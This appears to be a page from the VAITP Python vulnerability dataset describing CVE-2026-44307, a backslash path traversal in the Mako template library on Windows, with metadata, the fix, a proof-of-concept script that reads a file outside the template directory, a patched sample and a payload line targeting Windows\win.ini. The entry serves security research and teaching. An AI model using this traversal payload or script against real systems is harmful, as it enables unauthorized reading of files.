VAITP Dataset

← Back to the dataset

CVE-2026-44307

Mako path traversal on Windows using backslashes allows arbitrary file read.

  • CVSS 8.7
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.

CVSS base score
8.7
Published
2026-05-12
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Mako
Fixed by upgrading
Yes

Solution

Upgrade Mako to version 1.3.12 or later.

Vulnerable code sample

import os
from mako.template import TemplateLookup

# This script must be run on Windows with a Mako version prior to 1.3.12.

# 1. Setup a directory structure for the demonstration.
# A 'templates' directory which should be the security boundary.
os.makedirs("templates", exist_ok=True)
# A secret file located *outside* the allowed directory.
with open("secret.txt", "w") as f:
    f.write("This is a sensitive file that should not be accessible.")

# 2. Configure Mako's TemplateLookup to be "jailed" to the 'templates' directory.
lookup = TemplateLookup(directories=['templates'])

# 3. Define the malicious URI.
# On Windows, using a backslash for traversal bypasses the path normalization
# and directory security checks in vulnerable versions of Mako.
malicious_uri = r'..\secret.txt'

try:
    # 4. Attempt to get the template using the malicious URI.
    # In a vulnerable setup, this call will succeed and load 'secret.txt'.
    leaked_template = lookup.get_template(malicious_uri)

    # 5. Render the template, which prints the contents of the secret file.
    print("--- Attempting to read file outside of template directory ---")
    print("Leaked content:")
    print(leaked_template.render())
    print("----------------------------------------------------------")
    print("Vulnerability successfully exploited.")

except Exception as e:
    # In a patched version or on a non-Windows OS, this will fail.
    print(f"Exploit failed or system is not vulnerable. Mako raised an error: {e}")

finally:
    # Cleanup the created files and directory
    if os.path.exists("secret.txt"):
        os.remove("secret.txt")
    if os.path.exists("templates"):
        os.rmdir("templates")

Patched code sample

import os
import posixpath

def get_safe_template_path(uri: str, template_dir: str) -> str:
    """
    Provides a safe template path, demonstrating the fix for path traversal.

    The fix involves normalizing Windows-style backslashes ('\\') to
    POSIX-style forward slashes ('/') before processing the path. This
    ensures that path traversal components like '..' are correctly
    interpreted by POSIX path tools and cannot bypass directory restrictions.
    """
    safe_uri = uri

    # THE FIX: On systems where the os separator is not '/', replace it.
    # This is crucial on Windows where os.path.sep is '\\'.
    if os.path.sep != posixpath.sep:
        safe_uri = uri.replace(os.path.sep, posixpath.sep)

    # Use os.path.abspath to canonicalize the path, resolving any '..' parts.
    # A vulnerable implementation might join paths before this step, allowing
    # a mix of separators to confuse the resolver.
    # e.g., os.path.abspath('c:/templates' + r'\..\secret.txt') might become 'c:/secret.txt'
    #
    # The fixed approach ensures consistent separators before resolving.
    unsafe_path = os.path.join(template_dir, safe_uri.lstrip('/'))
    resolved_path = os.path.abspath(unsafe_path)
    
    # The final security check: ensure the fully resolved path is still inside
    # the intended template directory. The fix ensures this check is effective.
    if not resolved_path.startswith(os.path.abspath(template_dir)):
        raise PermissionError(
            f"Path traversal attempt detected. '{uri}' resolves outside the template directory."
        )

    return resolved_path

Payload

\..\..\Windows\win.ini

Cite this entry

@misc{vaitp:cve202644307,
  title        = {{Mako path traversal on Windows using backslashes allows arbitrary file read.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44307},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44307/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::